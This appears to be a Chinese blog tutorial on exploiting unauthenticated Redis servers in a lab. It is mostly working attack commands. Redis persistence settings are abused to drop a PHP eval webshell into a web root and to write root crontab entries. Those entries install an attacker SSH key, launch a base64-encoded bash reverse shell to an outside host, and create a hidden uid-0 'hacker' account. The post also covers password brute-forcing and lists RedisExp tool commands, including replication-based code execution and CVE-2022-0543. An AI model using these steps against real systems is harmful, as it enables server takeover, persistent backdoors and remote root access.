系统入侵与提权之权限维持与Redis提权

权限维持与Redis提权

一、Redis基础回顾

1、安装与配置

Redis服务器端: 
Redis客户端:

2、配置远程认证

编辑 redis.conf 配置文件,修改如下选项:
查找 bind,将已有的 bind 127.0.0.1 -::1 注释掉

查找 protected-mode yes,将其修改为:protected-mode no
也可以保留:protected-mode yes
但是设置密码:requirepass 123456

完成上述配置后,使用 pkill redis-server 停止 Redis 服务器,再重启 Redis 即可

此时,使用Redis客户端登录时,必须通过参数 -a 指定密码

./redis-cli -h 192.168.112.188 -p 6379 -a 123456
如果登录本机,并且端口号是默认的6379,则可以不用使用参数 -h-p
如果是远程登录Redis服务器,则 -h 必须明确指定

3、基础命令

set key value
get key 
config set key value
save

image-20230213233746925

二、Redis提权操作

redis 在执行持久化操作时,会将 缓存 数据库中的内容保存在硬盘上,此时就会生成文件,该文件的地址就是 redis.conf 配置文件中的 dir 参数和 dbfilename 参数 组成的文件绝对路径

比如设置 dir=/opt/lampp/htdocs dbfilename=shell.php

那么,持久化进行时就会生成 /opt/lampp/htdocs/shell.php 文件

核心:

Redis以Root启动

成功可以访问到 Redis

image-20240923232542581

1、配置Redis

先尝试匿名登录Redis: redis-cli.exe -h 192.168.112.188

requirepass 字段可以设置密码,也可以不要求密码,如果设置了密码则使用 SNetCracker 进行爆破

2、执行以下脚本,测试是否成功

尝试写入木马

该原理是利用了 redis 非关系型(缓存型)数据库的持久化操作实现写文件

写入木马前:

image-20240924170702798

192.168.230.147:6379> config set dir /opt/lampp/htdocs/img
OK
192.168.230.147:6379> config set dbfilename shell.php
OK
192.168.230.147:6379> set mm "<?php @eval($_POST[a]);?>"
OK
192.168.230.147:6379> save
OK

image-20240924170754399

写入木马后:

image-20240924170819463

说明可以正常利用 redis 写入木马

尝试写一个 root 的 crontab 定时任务
192.168.230.147:6379> config set dir /var/spool/cron/
OK
192.168.230.147:6379> config set dbfilename root
OK
192.168.230.147:6379> set mm "\n\n*/1 * * * * echo '<?php @eval($_POST[a]);?>' > /tmp/test.txt\n\n"
OK
192.168.230.147:6379> get mm
"\n\n*/1 * * * * echo '<?php @eval($_POST[a]);?>' > /tmp/test.txt\n\n"
192.168.230.147:6379> save
OK

image-20240924172101380

去查看一下 root 的 crontab

image-20240924172324790

说明确实写入成功了

image-20240924214048605

redis 本身无法执行 操作系统指令

但是 redis 可以写文件,就比如写入root用户的 crontab 再或者直接写入后门

3、此时以 root 账户运行crontab -l,查看是否写入了一条新的定时任务

[root@centqiang bin]# crontab -l
REDIS0009 redis-ver6.2.5
redis-bitse             used-memV
preamble~ phone                     
1881234567studentsw@QQH zhangsan,lisi,w                                                             wumynameqiangaddrchengducount
*/1 * * * * echo testing > /tmp/test.txt         # 此处写入定时任务成功

sexmalenamewoniuage 1
,[root@centqiang bin]#

4、利用Windows的SSH命令生成公钥

ssh-keygen -t rsa

image-20240926215011682

image-20240926215047498

上传 id_res.pub 至 Linux 服务器的 /root/.ssh 目录下 并命名为 authorized_keys

image-20240926215525212

当然,由于上次输入了 密码短语用于保护 rsa 密钥,所以再次使用 ssh 登录时,不再是要求输入登录密码了,而是要求输入 密码短语 passphrase

image-20240926215741543

5、利用Redis将公钥写入目标主机

当我们获取 redis 服务器登录权限后,可以利用 redis 持久化性质写入 root 的 crontab 定时任务,使得 攻击机的 ssh 公钥写入 目标服务器

(1)先利用Redis创建/root/.ssh目录

192.168.112.188:6379> set 0 "\n\n*/1 * * * * mkdir -p /root/.ssh \n\n"
OK
192.168.112.188:6379> config set dir /var/spool/cron/
OK
192.168.112.188:6379> config set dbfilename root
OK
192.168.112.188:6379> save
OK

等待一分钟

image-20240926220303125

进入实验环境发现确实成功写入,说明此时文件和目录已经创建成功

image-20240926220327616

(2)再写入公钥文件数据

192.168.112.188:6379> set 0 "\n\n*/1 * * * * echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBCGGfboJ7i1deQRFchk9cqqojY9apL2hzCcOUa9hF3duNoGQILEeImhdSwFYpahd6hnNLoIULl+vBuKK9iJCTtF0yemhh/LHEEH5xCvBM7wu2hP4ZyO/0YCwTizDxYsVFFWzx44+IpQ40IsZXLs1h9GhWhoO6cDs995ojxd7N9S/jn9grxY2V0kR5j0lh11fAhRe2DwGtSEYwaT7/1wEERUW7YPAgGpWYaAloEgPk+lxibMzhXYy8H01lRs7Jo+JQDVzzifdpq2KW1i/R/KPQjd/NgMqHFYL36KVBxtLqPmbSI4rTDqtoheQWegnaI/sZOS8lmAXjsfocVHqR/+8J denny@Qiang' > /root/.ssh/authorized_keys\n\n"
OK
192.168.112.188:6379> config set dir /var/spool/cron/
OK
192.168.112.188:6379> config set dbfilename root
OK
192.168.112.188:6379> save
OK
再等待一分钟

image-20240926220621089

进入实验服务器发现 crontab 再次成功写入

image-20240926220659730

等待一分钟,进入实验服务器发现文件写入成功

image-20240926220828308

6、利用Windows自带SSH免密登录

C:\Users\Denny>ssh root@192.168.112.188
Last login: Sun Dec  5 11:31:40 2021 from 192.168.112.1
[root@centqiang ~]#

image-20240926220910494

正是我们使用密钥生成之后链接 ssh 的状况,攻击时,使用空的密码短语生成 公私钥对就好了

Enjoy It !

7、除此之外

也可以直接利用设定持久化数据文件的方式直接写WebShell

192.168.112.188:6379> set myshell "<?php eval($_POST['code']); ?>"
192.168.112.188:6379> config set dir /opt/lampp/htdocs/
192.168.112.188:6379> config set dbfilename myshell.php
192.168.112.188:6379> save

或执行反弹Shell

192.168.112.188:6379> set 1 "\n\n* * * * * echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4yMTIvNDQ0NCAwPiYx | base64 -d| bash\n\n"
192.168.112.188:6379> config set dir /var/spool/cron/
192.168.112.188:6379> config set dbfilename root
192.168.112.188:6379> save

或其他可正常执行的命令等,如创建一个影子root用户等

set 2 "\n\n* * * * * echo hacker:12345678|/usr/sbin/chpasswd\n\n"
set 1 "\n\n* * * * * /usr/sbin/useradd -o -u 0 -g 0 hacker\n\n"

三、RedisExp漏洞利用工具

下载地址:https://github.com/Mx1014/RedisEXP

命令用法:

主从复制命令执行:
RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec
RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console

Linux:
RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -so exp.so
RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console -so exp.so

主从复制文件上传:
RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dump.rdb -lfile dump.rdb -upload

主动关闭主从复制:
RedisExp.exe -rhost 192.168.211.131 -slaveof

Lua沙盒绕过命令执行 CVE-2022-0543:
RedisExp.exe -rhost 192.168.211.131 -lua -console

备份写 Webshell:
RedisExp.exe -rhost 192.168.211.131 -shell

Linux 写计划任务:
RedisExp.exe -rhost 192.168.211.131 -crontab

Linux 写 SSH 公钥:
RedisExp.exe -rhost 192.168.211.131 -ssh

爆破 Redis 密码:
RedisExp.exe -rhost 192.168.211.131 -brute -pwdf ../pass.txt

执行 Redis 命令:
RedisExp.exe -rhost 192.168.211.131 -cli
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值